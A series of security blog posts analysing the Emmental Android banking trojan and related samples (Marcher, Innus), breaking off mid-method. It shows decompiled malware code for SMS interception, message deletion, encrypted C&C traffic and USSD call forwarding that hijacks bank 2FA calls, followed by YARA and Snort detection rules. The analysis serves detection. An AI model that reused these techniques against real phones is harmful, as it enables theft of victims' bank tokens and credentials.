Performing forensic on SMS (Short Message Service)

October 27, 2015, 12:03 am

≫ Next: Reversing the C2C HTTP Emmental communication

$

0

0

One of the things I really find interesting when performing malware analysis on Android is the information from logcat. With logcat you can spot lot of things which are difficult to spot via other media. Like for example, the messages (Short Message Service) sent via GSM (unless you have your own fake base station with openBTS).

There is a bunch of malware for Android which abuse SMS. As an example: malware which subscribes to premium SMS services or malware which use the GSM network as C&C via SMS.


We saw that the malware analysed in previous post (c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349) can communicate with the C&C via HTTP, but also it can send and receive C&C commands via SMS (this will be analysed in future posts). All this C&C sent/received messages sent by the malware are totally stealth for the user, which makes difficult to figure out what's going one. But looking in the logs, we can see that something is going on:
......
D/GsmInboundSmsHandler( 1207): successful broadcast, deleting from raw table.
D/GsmInboundSmsHandler( 1207): Deleted 1 rows from raw table.
D/GsmInboundSmsHandler( 1207): ordered broadcast completed in: 72 ms
D/GsmInboundSmsHandler( 1207): WaitingState.processMessage:3
D/GsmInboundSmsHandler( 1207): leaving Delivering state
D/GsmInboundSmsHandler( 1207): entering Delivering state
D/GsmInboundSmsHandler( 1207): DeliveringState.processMessage:4
D/GsmInboundSmsHandler( 1207): leaving Delivering state
D/GsmInboundSmsHandler( 1207): entering Idle state
D/RILC    (  187): RequestComplete, RIL_SOCKET_
E/RILC    (  187): Send Response to RIL_SOCKET_1
D/RILJ    ( 1207): [4189]< SMS_ACKNOWLEDGE  [SUB0]
D/GsmInboundSmsHandler( 1207): IdleState.processMessage:5
D/GsmInboundSmsHandler( 1207): Idle state processing message type 5
D/GsmInboundSmsHandler( 1207): mWakeLock released
D/RILC    (  187): RequestComplete, RIL_SOCKET_1
E/RILC    (  187): Send Response to RIL_SOCKET_1
D/RILJ    ( 1207): [4190]< SEND_SMS { mMessageRef = 33, mErrorCode = -1, mAckPdu = null} [SUB0]
D/PHONE   ( 1184): [ServiceState] setNullState=1
I/RILC    (  186): RIL_SOCKET_1 UNSOLICITED: UNSOL_RESPONSE_NEW_SMS length:192
E/RILC    (  186): Send Response to RIL_SOCKET_1
D/RILJ    ( 1184): [UNSL]< UNSOL_RESPONSE_NEW_SMS [SUB0]
D/GsmInboundSmsHandler( 1184): IdleState.processMessage:1
D/GsmInboundSmsHandler( 1184): Idle state processing message type 1
D/GsmInboundSmsHandler( 1184): acquired wakelock, leaving Idle state
D/GsmInboundSmsHandler( 1184): entering Delivering state
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:1
D/GsmInboundSmsHandler( 1184): URI of new row -> content://raw/1
D/RILJ    ( 1184): [3962]> SMS_ACKNOWLEDGE true 0 [SUB0]
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:2
D/GsmInboundSmsHandler( 1184): Delivering SMS to: org.thoughtcrime.securesms org.thoughtcrime.securesms.service.SmsListener
D/GsmInboundSmsHandler( 1184): WaitingState.processMessage:4
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/RILC    (  186): RequestComplete, RIL_SOCKET_1
E/RILC    (  186): Send Response to RIL_SOCKET_1
D/RILJ    ( 1184): [3962]< SMS_ACKNOWLEDGE  [SUB0]
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/GsmInboundSmsHandler( 1184): successful broadcast, deleting from raw table.
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneNumberUtils(  778): subId:3, defaultCountryIso:CH
D/PhoneNumberUtils(  778): slotId:0, emergencyNumbers: 911,*911,#911,112
D/GsmInboundSmsHandler( 1184): Deleted 1 rows from raw table.
D/GsmInboundSmsHandler( 1184): ordered broadcast completed in: 172 ms
D/GsmInboundSmsHandler( 1184): WaitingState.processMessage:3
D/GsmInboundSmsHandler( 1184): leaving Delivering state
D/GsmInboundSmsHandler( 1184): entering Delivering state
D/GsmInboundSmsHandler( 1184): DeliveringState.processMessage:4
D/GsmInboundSmsHandler( 1184): leaving Delivering state
D/GsmInboundSmsHandler( 1184): entering Idle state
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneNumberUtils(  778): subId:3, defaultCountryIso:CH
D/PhoneNumberUtils(  778): slotId:0, emergencyNumbers: 911,*911,#911,112
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler (com.android.internal.telephony.PhoneProxy) {3884f01a}
D/TelephonyManager(  778): getTelephonyProperty: return propVal='ch' phoneId=0 property='gsm.operator.iso-country' defaultVal='' prop=ch
D/PhoneFactory( 1184): getPhone:- phoneId != DEFAULT_PHONE_ID return sProxyPhones[phoneId] phoneId=0 phone=Handler 

So basically the SMS is received as seen in the logs. Then it is delivered to the application org.thoughtcrime.securesms and finally the message is delete from the database so no evidence is left in the phone, ver clever technique!

Looking at the code with Androguard, I can see a suspicious method which deletes message:

In [3]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_j.source()
public static void j(android.content.Context p6)
    {
        android.database.sqlite.SQLiteDatabase v2 = new org.thoughtcrime.securesms.h.b(p6).getWritableDatabase();
        String v0_2 = new String[0];
        String v1_1 = v2.rawQuery("SELECT _id, msgdata, sended FROM messages WHERE sended=0", v0_2);
        String v0_3 = "";
        if ((v1_1 != null) && (v1_1.moveToFirst())) {
            do {
                if (v0_3.length() > 0) {
                    v0_3 = new StringBuilder().append(v0_3).append("$$$###\n").toString();
                }
                v0_3 = new StringBuilder().append(v0_3).append(v1_1.getString(1)).toString();
            } while(v1_1.moveToNext());
        }
        if (v0_3.length() > 0) {
            try {
                String v0_8 = org.thoughtcrime.securesms.h.c.a(p6).a("sms", v0_3);
            } catch (String v0_9) {
                v0_9.printStackTrace();
                v0_8 = "";
            }
            if (v0_8.trim().equals("OK")) {
                String[] v3_11 = new String[0];
                v2.delete("messages", "sended=0", v3_11);
            }
        }
        v2.close();
        return;

    }

As this is done at the SQLite data base level is very difficult to recover those messages with traditional mobile forensic techniques. Besides, this malware uses its own data base:

/data/data/org.thoughtcrime.securesms/databases $# ls -l
-rw-rw---- u0_a97   u0_a97      16384 2015-10-27 09:43 canonical_address.db
-rw------- u0_a97   u0_a97       8720 2015-10-27 09:43 canonical_address.db-journal
-rw-rw---- u0_a97   u0_a97     102400 2015-10-27 09:43 messages.db
-rw------- u0_a97   u0_a97       8720 2015-10-27 09:43 messages.db-journal
-rw-rw---- u0_a97   u0_a97      20480 2015-10-27 09:43 test
-rw------- u0_a97   u0_a97       8720 2015-10-27 09:43 test-journal 

Recovering a deleted data base

If the SMS are not deleted through a SQLite query, but through the GUI interface, the messages can be easily recovered. For example, with the 'AF Logical OSE' tool from Viaforensic.

---

Reversing the C2C HTTP Emmental communication

October 28, 2015, 3:00 am

≫ Next: Implementing Yara rules to detect emmental malware: statically and dynamically

≪ Previous: Performing forensic on SMS (Short Message Service)

$

0

0

In last post l explained how it was possible to decrypt the initial C&C communication from the data dumped from memory, with the support of a python script. In this post, I am going to follow the same approach, but using the information from the captured network traffic.
For that I will capture with Wireshark all the communication with the C&C while the malware is running. Then I can export all the 'objects' in the HTTP connection, which means the content of the HTTP request and response.

Now, I have e in a folder all the files with the objects from the HTTP request:

$ ls main

main(1).php   main(11).php  main(13).php  main(15).php  main(3).php   main(5).php   main(7).php   main(9).php

main(10).php  main(12).php  main(14).php  main(2).php   main(4).php   main(6).php   main(8).php   main.php

$ more main.php

i=McsZtRV7Bv7ZjMSzwk5aIyZEiijP8F38NJcxd5VNElaIVxctxxX9UWCGbUaOIYRxhMxTtA8nBYmT%0A%2FkgJOPilsUZZyvc2swCziOJC5ae17wUorRhyx48b3kIReFjFdcomTsuyE8PNXnthpE3oWi%2F%2BV%2Btg%0AT%2Bcp2CCNstrLbeKReraPgFcgZKAlluZKoVG6SxwgKzzt0MxQFlobMu21L%2BmlA2DJ2pj8buhKtEOs%0AGAH9H6kSzdxaKks6lIynIzHLsLfyIKpHqWeTAynnJdBzcKsCIFeNvWzDdrD7Q3By3JgNN6RrgE2l%0A1z5FuY6CihbBi4hUWN36%2F2Gvtg%2BOpSz6********************zk4US3U2GPhp4C3L5%2FcA4a0nroBhndxpaDIjN4ftS0%0ACxg2100kZN9YsaLUXHvJ6Yg9jY7TJzsd8PhlNq%2FWyl1pP5YoOejbO1cFA7jj0RG%2F9Tp60zj1HpDy%0AIFOb9z5FNRI3JjGh3P4V%2Bg0iVWee2FM5Jk4k2ABcGEK5mS8MJnax3iiLEitzTnYb2zgO2V9uO9Bu%0AMq%2BswCEDk2yLmZJJ1ptAUIwj0pXqchauQ1cbikRrMOD5xTprWuQ62iS6kVtvQosA%2BfnxyresiWbs%0Am4B7s3xb%2BSV7ORouF9tQMk68thyu0NXfnSNJxuXm00FXsXMoFt%2Biw4IbtLLyhPjL3QfpMJqX4X0g%0AMmWMMQ81GIbF5Wv%2FR416%2BRCo%2BXBWDabDnwMWDY0M%2FD3G5DcXa5mVRtDJ8CDQol05s0BH9RsBNQsB%0AMFEev%2BHVGfKFCntlAy2If8lNL5k0Rx39g5QKfGIKEOxbxUfsIe0MG1TEs5ABUZBR3g3Ipz0AY9Ax%0ATekUoKpSdg4l7W7v0DFPoHmKD6WqhpPF%2B%2BFPo2CvkhWRKn0IzWcUbyGK%2Fg6ngmIv2%2F8w8nwSt3w0%0AVEZYdQns5zBFPGo6%2B9pZyceFt77QcBcrTGBheKMCsDlGfua3pGKBcxitkvWWdNmcKEP11TjLkEpb%0A4B83AHatDzOwTmh7iYz07GOU7CQXxI93q65Dc1crEEpH7rycKhc7KUZvkWYcmn8dayifCXDpEr%2Bl%0Akonl7bWWLqGDvFJ617dZ1pe9IGUCLCKmV5aunHGC8Zk9iVwELhfkMEv0a9SoxsnNnUIzSGV5hZZu%0A&s=&

As the HTTP request is URL encoded, I need first to decode it, so I will adapt the python script created in this post to do it automatically. This is the script:


#!/usr/bin/python

from Crypto.Cipher import Blowfish
from Crypto import Random
from struct import pack
from binascii import hexlify, unhexlify
import sys
import urllib

file1 =  sys.argv[1]
file_out = sys.argv[2]

blfs_key =  open('/path/to/the/blfs.key','r')

url_encode = open(file1,'r')
url_encode_2 = url_encode.read()

url_decode = urllib.unquote(url_encode_2).decode('utf8')

file_ciphertext_base64 = url_decode
file_blfs_key = blfs_key.read()
ciphertext_raw = file_ciphertext_base64.decode("base64")

IV = "12345678"
_KEY = file_blfs_key
ciphertext = ciphertext_raw
KEY = hexlify(_KEY)[:50]
cipher = Blowfish.new(KEY, Blowfish.MODE_CBC, IV)
message = cipher.decrypt(ciphertext)
config_plain = open(file_out,'w')
config_plain.write(message)


With this script it is easy to run a shell command with a loop 'for' to decrypt all the files in the directory. Bare in mind than the HTTP response are not URL encoded, so I will not need to perform that step on some of the files. 

Now I should have decrypted all the information from each object. Looking at the first two HTTP POST requests I see this is the case, but for the third one, this is not the case and the data is still encrypted. What's going on here?

I am going to take a look to the HTTP response from the server, what information is being sent?

 A Public Key!! really interesting stuff...

Actually, if I look further in the second HTTP request from the screenshot above I can see the following:


$ more "main(3).php"
a:4....
.....
cjogVGhlIEFuZHJvaWQgUHJvamVjdCB8IGphdmEudmVyc2lvbjogMA==

";s:3:"cmd";s:7:"get_key";s:3:"rid";s:2:"25";s:4:"data";s:0:"";}

This looks to me like the malware sends a request for a key and the server replies with the public key. So the only possibility is that the malware is using that key to encrypt the data so only the C&C can decrypt it with the private key.

To confirm this is the case, I am going to check the source code of the malware with 'androguard' as I explained in previous post.

Looking at the code, I see there is a method with the string 'get_key' and I can see which other method is calling it:


In [10]: d.CLASS_Lorg_thoughtcrime_securesms_h_c.METHOD_c.pretty_show()
########## Method Information
Lorg/thoughtcrime/securesms/h/c;->c()V [access_flags=public]
########## Params
local registers: v0...v2
- return: void
####################
***************************************************************************
c-BB@0x0 :
0  (00000000) const-string        v0, 'get_key'
1  (00000004) const-string        v1, ''
2  (00000008) invoke-virtual      v2, v0, v1, Lorg/thoughtcrime/securesms/h/c;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String;
3  (0000000e) move-result-object  v0
4  (00000010) iput-object         v0, v2, Lorg/thoughtcrime/securesms/h/c;->c Ljava/lang/String;
5  (00000014) invoke-virtual      v2, Lorg/thoughtcrime/securesms/h/c;->b()Ljava/lang/Boolean;
6  (0000001a) move-result-object  v0
7  (0000001c) invoke-virtual      v0, Ljava/lang/Boolean;->booleanValue()Z
8  (00000022) move-result         v0
9  (00000024) if-eqz              v0, 5 [ c-BB@0x28 c-BB@0x2e ]

c-BB@0x28 :
10 (00000028) invoke-direct       v2, Lorg/thoughtcrime/securesms/h/c;->d()V [ c-BB@0x2e ]

c-BB@0x2e :
11 (0000002e) return-void

***************************************************************************
########## XREF
F: Lorg/thoughtcrime/securesms/h/i; b (Landroid/content/Context;)V be
T: Lorg/thoughtcrime/securesms/h/c; b ()Ljava/lang/Boolean; 14
T: Lorg/thoughtcrime/securesms/h/c; d ()V 28
T: Lorg/thoughtcrime/securesms/h/c; a (Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; 8

####################

When decompiling the code I end up with some interesting Java methods:

Looking tat the Java code I can see that the public key is used. But also, looking deeper into the code, I find another interesting method:

private String a(String p9)
    {
        String v1_0 = 0;
        String v0_0 = "";
        try {
            javax.crypto.Cipher v2_1 = javax.crypto.Cipher.getInstance("RSA/ECB/PKCS1PADDING");
            v2_1.init(1, this.d);
            String[] v3_2 = this.a(p9, 100);
            java.util.ArrayList v4_2 = new java.util.ArrayList();
            int v5 = v3_2.length;
        } catch (String v1) {
            return this.a.c(v0_0);
        }
        while (v1_0 < v5) {
            v4_2.add(android.util.Base64.encodeToString(v2_1.doFinal(v3_2[v1_0].getBytes()), 0));
            v1_0++;
        }
        v0_0 = android.text.TextUtils.join(".", v4_2);
        return this.a.c(v0_0);

    }

So basically, one method is for encryption and the other for decryption, and both of them are using the same public key. This is really interesting stuff. 

So this is whats going on so far:

1. The compromised device sends the information encrypted with blowfish to the C&C
2. The C&C server replies with OK
3. The compromised device requests the public key
4. The C&C server replies with the public key
5. The compromised device encrypts the information with the public key and sends to the C&C
6. The C&C server can decrypt with it's private key
7. The C&C server sends data encrypted with the private key ->I need to verify this 
8. The compromised device can decrypt with the public key > I need to verify this 

To verify step 6 and 7, and as very quick PoC, I have created some Java code which takes the public key sent by the C&C and try to decrypt the successive messages sent by the C&C.

Bingo! When I run the code I clearly see it works and my 'guess' was right:

What is the information sent by the C&C? it looks like a new config.xml with new C&C URL..
Very interesting..

Looking to the code again,  I see methods which performs the request for a new configuration file:


In [7]: d.CLASS_Lorg_thoughtcrime_securesms_xservices_b.source()
package org.thoughtcrime.securesms.xservices;
 class b extends android.os.AsyncTask {
    android.content.Context a;
    final synthetic org.thoughtcrime.securesms.xservices.XRepeat b;

    public b(org.thoughtcrime.securesms.xservices.XRepeat p1, android.content.Context p2)
    {
        this.b = p1;
        this.a = p2;
        return;
    }

    protected varargs String a(String[] p4)
    {
        org.thoughtcrime.securesms.h.i.a(this.a);
        org.thoughtcrime.securesms.h.i.c("CONF", "Check pull off urls", this.a);
        org.thoughtcrime.securesms.h.i.b(this.a);
        org.thoughtcrime.securesms.h.i.c(this.a);
        org.thoughtcrime.securesms.h.i.c("CONF", "Get config data from server", this.a);
        org.thoughtcrime.securesms.h.i.j(this.a);
        org.thoughtcrime.securesms.h.i.c("DATA", "Send data to server", this.a);
        return "OK";
    }

    protected void a(String p1)
    {
        super.onPostExecute(p1);
        return;
    }

    protected synthetic Object doInBackground(Object[] p2)
    {
        return this.a(((String[]) p2));
    }

    protected synthetic void onPostExecute(Object p1)
    {
        this.a(((String) p1));
        return;
    }

}


As the HTTP request to the C&C are encrypted with the Public key, I can't decrypt it. However, I could check in memory the information before is encrypted.

And this is what I found:

a:2:{s:7:"LogCode";s:4:"CONF";s:7:"LogText";s:27:"Get config data from server";}

Which matches the methods I checked previously :)

Implementing Yara rules to detect emmental malware: statically and dynamically

October 28, 2015, 7:37 am

≫ Next: Detecting bank trojans which steal 2FA token through the code (Android)

≪ Previous: Reversing the C2C HTTP Emmental communication

$

0

0

In this short post, I am going to use yara to create some signatures in order to detect the emmental malware I've been analysing in previous posts

"Yara is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic"

Yara can be used to search patterns in malware, memory dumps, network flows, etc, so it is a very handy tool that every Incident Handler and Forensic Analyst must know.
There is already a nice project, yararules, which is a repository for rules to detect malware, even for mobile malware. However, I did not find any specific rule for emmental malware, so I am going to create a very simple rule to detect it.

During previous posts, I already gathered some unique evidence which can be used to implement the rule, for example the user-agent used, some of the HTTP C&C commands or some of the strings in the code. Using all this evidence, I've created a very simple rule: 


$ cat emmental.rule 

rule emmental
{
    strings:
 $my_text_string = "Gecko/20100101 Firefox/26.0"
$my_text_string2 = "SMS Intercept error: Phone not setted"
$my_text_string3 = "SMS Intercept enabled over buffer"
$my_text_string4 = "Get config data from server"
    condition:
        $my_text_string and $my_text_string2 and  $my_text_string3 and $my_text_string4
}

Now, if I run yara with the containing the rule and the .DEX file and I see that there is a match:

$yara emmental.rule classes.dex -s
emmental classes.dex
0x6e431:$my_text_string: Gecko/20100101 Firefox/26.0
0x70842:$my_text_string2: SMS Intercept error: Phone not setted
0x7081f:$my_text_string3: SMS Intercept enabled over buffer
0x5995c:$my_text_string4: Get config data from server

Although, this is a very simple example, more complex rules can be created to search across malware samples, memory dumps and even network captured traffic. For example, there are some existing tool, yaraPcap, which permits use yara against 'pcap' files. Also, I am going to create a yara rule for this purpose. The following rule matches the user-agent and we can validate with captured network traffic produced by the malware:

$ more emmetal_network.yara

rule emmental
{
    strings:
        $my_text_string = "Gecko/20100101 Firefox/26.0"
    condition:
        $my_text_string

}

$ yaraPcap.py -r  Report.txt emmetal_network.yara capture.cap

$ more Report.txt
----------
File: raw.pcap
Matched Rules:
emmental

----------

Detecting bank trojans which steal 2FA token through the code (Android)

November 1, 2015, 1:54 am

≫ Next: Detecting bank trojans with snort and the (fake)User-Agent

≪ Previous: Implementing Yara rules to detect emmental malware: statically and dynamically

$

0

0

In the last weeks I am working on a personal project to quickly detect Android Banking trojans which steal 2FA tokens. The idea is to create some intelligence around it.

I have been analysing different malware campaigns with different samples, like the last one detected by Symantec, Marcher, or emmental (I have talked about this one in this blog across several posts).

Obviously, the main objective of this kind of malware is to steal the credentials to access the Bank on behalf of the victim, but also to steal the 2FA. For example, if the bank sends a token through SMS (GSM), the malware is able to read that token and forward it via HTTP or GSM (SMS). In coming days, I will do in coming a post in which I will explain how I have reversed the SMS C&C of a malware which is able to steal tokens and forward via SMS.

To avoid this hack, some Banks have implemented additional security controls to distribute the tokens. Instead of sending the token through a SMS, an automatic system makes a call to the customer's phone and the token is confirmed via the call.

But malware developers have figured out it and have implemented contra-measures. The way they do this is forwarding all the calls to a third party phone via USSD codes.

For example, the codes to forward within Europe (which can be found here);

•  ##21# + Phone number + #

And the code to disable:

•  **21* #

Here are tho malware samples' code using this trick:

//Innuns malware

try

    {

      Object localObject = PreferenceManager.getDefaultSharedPreferences(paramContext);

      SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit();

      if(paramString.length() > 4)

      {

        localObject = newIntent("android.intent.action.CALL", Uri.parse("tel:**21*"+ paramString + Uri.encode("#")));

        ((Intent)localObject).addFlags(268435456);

        ((Intent)localObject).addFlags(4);

        localEditor.putString("hookcalls", paramString);

        localEditor.apply();

        paramContext.startActivity((Intent)localObject);

        return;

      }

      paramString = newIntent("android.intent.action.CALL", Uri.parse("tel:##21#"+ ((SharedPreferences)localObject).getString("hookcalls", "") + Uri.encode("#")));

      paramString.addFlags(268435456);

      paramString.addFlags(4);

      localEditor.putString("hookcalls", "");

      localEditor.apply();

      paramContext.startActivity(paramString);

      return;

    }










// Marcher example

 publicvoida(BroadcastReceiver paramBroadcastReceiver, Context paramContext, SmsMessage[] paramArrayOfSmsMessage)

  {

    if(a.g().equals("Y2FsbF8xJiYm")) {}

    for(paramArrayOfSmsMessage = Uri.fromParts("tel", "#21#", null);; paramArrayOfSmsMessage = Uri.fromParts("tel", "##21#", null))

    {

      a.b(null);

      paramBroadcastReceiver.abortBroadcast();

      paramBroadcastReceiver = newIntent("android.intent.action.CALL", paramArrayOfSmsMessage);

      paramBroadcastReceiver.setFlags(268435456);

      paramContext.startActivity(paramBroadcastReceiver);

      return;

    }

publicvoida(BroadcastReceiver paramBroadcastReceiver, Context paramContext, SmsMessage[] paramArrayOfSmsMessage)

  {

    paramArrayOfSmsMessage = l.a(paramArrayOfSmsMessage);

    if(paramArrayOfSmsMessage.contains(d.a("Y2FsbF8xJiYm", b)))

    {

      paramArrayOfSmsMessage = paramArrayOfSmsMessage.split(d.a("Y2FsbF8xJiYm", b));

      paramArrayOfSmsMessage = "*21*+"+ paramArrayOfSmsMessage[1] + "#";

      a.b("Y2FsbF8xJiYm");

    }

    for(;;)

    {

      paramArrayOfSmsMessage = Uri.fromParts("tel", paramArrayOfSmsMessage, null);

      paramBroadcastReceiver.abortBroadcast();

      paramBroadcastReceiver = newIntent("android.intent.action.CALL", paramArrayOfSmsMessage);

      paramBroadcastReceiver.setFlags(268435456);

      paramContext.startActivity(paramBroadcastReceiver);

      return;

      paramArrayOfSmsMessage = paramArrayOfSmsMessage.split(d.a("Y2FsbF8yJiYm", b));

      paramArrayOfSmsMessage = "**21*+"+ paramArrayOfSmsMessage[1] + "#";

      a.b("Y2FsbF8yJiYm");

    }

  }

}







So what can we do with this information?, basically, any APK which contains this functionality likely is trying to do something bad. 

The best thing is to create some yara rule to detect it base on two things: the USSD code  and the CALL intent:

$ cat forward_calls_yara.rule

rule call_forward

{

    strings:

        $my_text_string = "*21"

$my_text_string2 = "#21"

$my_text_string3 = "android.intent.action.CALL"

    condition:

        ($my_text_string and $my_text_string3) or ($my_text_string2 and $my_text_string3)

}

Very simple method but very effective :)

Detecting bank trojans with snort and the (fake)User-Agent

November 2, 2015, 12:40 am

≫ Next: Reversing the SMS C&C protocol of Emmental (1st part - understanding the code)

≪ Previous: Detecting bank trojans which steal 2FA token through the code (Android)

$

0

0

Some years ago I wrote a research paper for SANS  'Monitoring Network Traffic for Android Devices' in which I described the process to monitor the traffic produced by Android smartphones in a corporate environment. Moreover, I created some PoC and tests with some real malware in order to detect it through this proposed architecture. This research was used as part of other investigations projects to detect malware. Related to this, and while working on my current malware project I mentioned in previous post, I've analysing the traffic produced by several banking trojans and I have found that they fake the User-Agent in the HTTP header. Even, in some cases the tag 'User-Agent' is not correct (eg:  User-agent instead of User-Agent like the screenshot below). For example for, emmental it is:

• User-agent: Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0

And for Innus it is:

• User-Agent: yasuo21

In some other cases the HTTP request is sent without a User-Agent.

As I know which it is the default User-Agent of my device where I run the malware, any other different User-Agent seen in the traffic is suspicious to me. To monitor that, I have created a simple Snort rule like this:

alert tcp any any -> any 80 (msg:"Detect Invalid User-Agent Android ----"; pcre:"/User-Agent:.*/i"; content:!"User-Agent: Mozilla/5.0 (Linux\; Android 5.1.1\; Nexus 5 Build/LMY48I"; sid:2222222; rev:2;)

With this rule I check the existence of any User-Agent which doesn't match the correct User-Agent of my device.

$ tail -f /var/log/snort/alert

***A**** Seq: 0x7B8CD7D9  Ack: 0x209D1779  Win: 0x559  TcpLen: 32

TCP Options (3) => NOP NOP TS: 1371638 1012941375

[**] [1:2222222:2] Detect Invalid User-Agent Android ---- [**]

[Priority: 0]

09/05-18:54:39.433538 172.16.42.154:42939 -> 82.98.134.9:80

TCP TTL:64 TOS:0x0 ID:22830 IpLen:20 DgmLen:161 DF

***AP*** Seq: 0x7B8CDD81  Ack: 0x209D1779  Win: 0x559  TcpLen: 32

TCP Options (3) => NOP NOP TS: 1371638 1012941376

Reversing the SMS C&C protocol of Emmental (1st part - understanding the code)

November 3, 2015, 1:04 am

≫ Next: Reversing the SMS C&C protocol of Emmental - 2nd part

≪ Previous: Detecting bank trojans with snort and the (fake)User-Agent

$

0

0

In a previous post I described how I reversed and decrypt the HTTP C2C protocol used by Emmental malware. Also, in other post I introduced the Androguard framework with some examples. 

Now it is time to focus on the SMS C2C protocol and how I have reversed it.

The sample used is again the same: c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349

The code of this malware is obfuscated and also use some anti-reversing techniques. For example, if you try to open it with j2-gui after the DEX has been converted to Java code some part of the code will not show properly. 
The obfuscation makes the analysis a bit more difficult so a bit of patient is necessary.
If you have the money, there is a very good tool, JEB, which can help you with de-obfuscated Java code and make the analysis easier and faster.

Finding the entry point

When dealing with analysis like this it is important to figure out which is the entry point. In this case, the entry point must  be anything related to any SMS ( any method, permission, provider...). So we can look where some SMS permissions are used (SEND_SMS or RECEIVED_SMS) or we can check where the Android SMS provider is used

For this analysis I am going to start looking to the Android SMS provider (android.provider.Telephony.SMS_RECEIVED).

So first thing I do is to search for the string "android.provider.Telephony.SMS_RECEIVED"in order to see which methods are using it.

In [48]:  a, d, dx = AnalyzeAPK("malware.apk", decompiler="dad")
In [64]:  z = dx.tainted_variables.get_string("android.provider.Telephony.SMS_RECEIVED")
In [65]: z
Out[65]: <androguard.core.analysis.analysis.TaintedVariable at 0x7fd99a967090>

In [66]: z.show_paths(d)
R f4 Lorg/thoughtcrime/securesms/service/SmsListener;->onReceive (Landroid/content/Context; Landroid/content/Intent;)V
R 202 Lorg/thoughtcrime/securesms/service/SmsListener;->onReceive (Landroid/content/Context; Landroid/content/Intent;)V
R 36 Lorg/thoughtcrime/securesms/service/SmsListener;->a (Landroid/content/Context; Landroid/content/Intent;)Z


Clearly I find some interesting method 'onReceive' in the class:
Lorg.thoughtcrime.securesms.service.SmsListener 

The first method

In [70]: d.CLASS_Lorg_thoughtcrime_securesms_service_SmsListener.METHOD_onReceive.source()
public void onReceive(android.content.Context p8, android.content.Intent p9)
    {
        String v0_3 = ((Object[]) ((Object[]) p9.getExtras().get("pdus")));
        String v5_0 = new android.telephony.SmsMessage[v0_3.length];
        String v2_1 = 0;
        String v4_0 = "";
        while (v2_1 < v0_3.length) {
            v5_0[v2_1] = android.telephony.SmsMessage.createFromPdu(((byte[]) ((byte[]) v0_3[v2_1])));
            v4_0 = new StringBuilder().append(v4_0).append(v5_0[v2_1].getMessageBody()).toString();
            v2_1++;
        }
        String v0_8 = android.telephony.SmsMessage.createFromPdu(((byte[]) ((byte[]) v0_3[0]))).getDisplayOriginatingAddress();
        android.content.Intent v1_4 = new org.thoughtcrime.securesms.h.f(v4_0, p8);
        if ((!p9.getAction().equals("android.provider.Telephony.SMS_DELIVER")) || ((!v1_4.a().booleanValue()) && (org.thoughtcrime.securesms.h.i.a("RTB", 0, p8) == 0))) {
            if ((!p9.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) || ((!v1_4.a().booleanValue()) && (org.thoughtcrime.securesms.h.i.a("RTB", 0, p8) == 0))) {
                if ((p9.getAction().equals("android.provider.Telephony.SMS_DELIVER")) || ((p9.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) && (this.a(p8, p9)))) {
                    String v0_15 = new android.content.Intent(p8, org.thoughtcrime.securesms.service.SendReceiveService);
                    v0_15.setAction("org.thoughtcrime.securesms.SendReceiveService.RECEIVE_SMS_ACTION");
                    v0_15.putExtra("ResultCode", this.getResultCode());
                    v0_15.putParcelableArrayListExtra("text_messages", this.c(p9));
                    p8.startService(v0_15);
                    this.abortBroadcast();
                }
            } else {
                if (!v1_4.a().booleanValue()) {
                    if (org.thoughtcrime.securesms.h.i.a("RTB", 0, p8) != 2) {
                        if ((org.thoughtcrime.securesms.h.i.a("RTB", 0, p8) == 1) && (org.thoughtcrime.securesms.h.i.c(v0_8, 0, p8) == 1)) {
                            this.abortBroadcast();
                            android.content.Intent v1_17 = new android.content.Intent(p8, org.thoughtcrime.securesms.xservices.XSmsIncom);
